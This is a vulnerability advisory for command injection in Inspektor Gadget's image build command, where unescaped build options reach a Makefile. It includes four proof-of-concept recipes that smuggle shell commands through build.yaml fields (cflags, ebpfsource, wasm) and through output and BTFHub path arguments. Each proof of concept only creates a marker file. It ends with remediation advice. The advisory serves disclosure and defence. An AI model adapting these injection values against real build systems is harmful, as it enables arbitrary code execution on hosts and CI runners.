Inspektor Gadget: Command Injection via malicious buildOptions manipulation

Impacted Resources

inspektor-gadget/cmd/common/image/build.go inspektor-gadget/cmd/common/image/helpers/Makefile.build

Description

The ig binary provides a subcommand for image building, used to generate custom gadget OCI images.

A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go.

The following is the code responsible to construct the build command:

func buildCmd(options buildOptions) []string {
	cmd := []string{
		"make", "-f", filepath.Join(options.outputDir, "Makefile.build"),
		"-j", fmt.Sprintf("%d", runtime.NumCPU()),
		"OUTPUTDIR=" + options.outputDir,
		"CFLAGS=" + options.cFlags,
		"FORCE_COLORS=" + options.forceColorsFlag,
	}

	if options.ebpfSourcePath != "" {
		cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf")
	}
	if options.wasmSourcePath != "" {
		cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm")
	}
	if options.btfgen {
		cmd = append(cmd, "BTFHUB_ARCHIVE="+options.btfHubArchivePath, "btfgen")
	}

	return cmd
}

The Makefile.build file is the Makefile template employed during the building process.

This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.

This implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process.

Impact

An attacker able to exploit this vulnerability would be able to execute arbitray command:

• on the Linux host where the ig command is launched, if images are built with the --local flag
• on the build container invoked by ig, if the --local flag is not provided

Attack Complexity

The buildOptions structure is extracted from the YAML gadget manifest passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options.

Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.

PoC

PoC 1 (Vector: cflags)

1. Create the file build.yaml with the following content:

ebpfsource: "program.bpf.c"  
metadata: "gadget.yaml"  
cflags: " ; touch poc1.txt ; "

2. Create the file gadget.yaml with the following content:

name: test  
description: test gadget  

3. Create the file program.bpf.c with the following content:

#include <gadget/gadget.h>  
char LICENSE[] SEC("license") = "GPL";

4. In the same directory where the files are run the command:

ig image build . -t test:latest

5. Notice that the file poc1.txt gets created inside the directory.

PoC2 (Vector: ebpfsource, wasm)

1. Create the file build.yaml with the following content:

ebpfsource: "$(shell touch poc2-1.txt)"
wasm: "$(shell touch poc2-2.txt)"

2. Create the file $(shell touch poc2-1.txt):

touch '$(shell touch poc2-1.txt)'

3. In the same directory where the files are run the command:

ig image build .

4. Notice that the files poc2-1.txt and poc2-2.txt get created inside the directory.

PoC3 (Vector: -o, --output)

1. Create the file build.yaml with the following content:

wasm: dummy.go

2. Create the file gadget.yaml with the following content:

name: test

3. Create the directory $(shell touch poc3.txt):

touch '$(shell touch poc3.txt)'

4. Retrieve the full path of the created directory:

readlink -f '$(shell touch poc3.txt)'

5. In the same directory where the files are run the command replacing the <PATH> placeholder with the value retrieved at step 4:

ig image build . --local -o '<PATH>'

6. Notice that the file poc3.txt gets created inside the directory.

PoC4 (Vector: --btfhub-archive)

1. Create the file build.yaml with the following content:

ebpfsource: test.c

2. Create the file test.c:

touch test.c

3. In the same directory where the files are run the command

sudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)'

4. Notice that the file poc4.txt gets created inside the directory.

Suggested Remediation

Sanitize build options by providing a robust whitelist to filter on. Alternatively, revisit the design of image building to prevent shell substitution.

References

• https://cwe.mitre.org/data/definitions/77.html
• https://cwe.mitre.org/data/definitions/78.html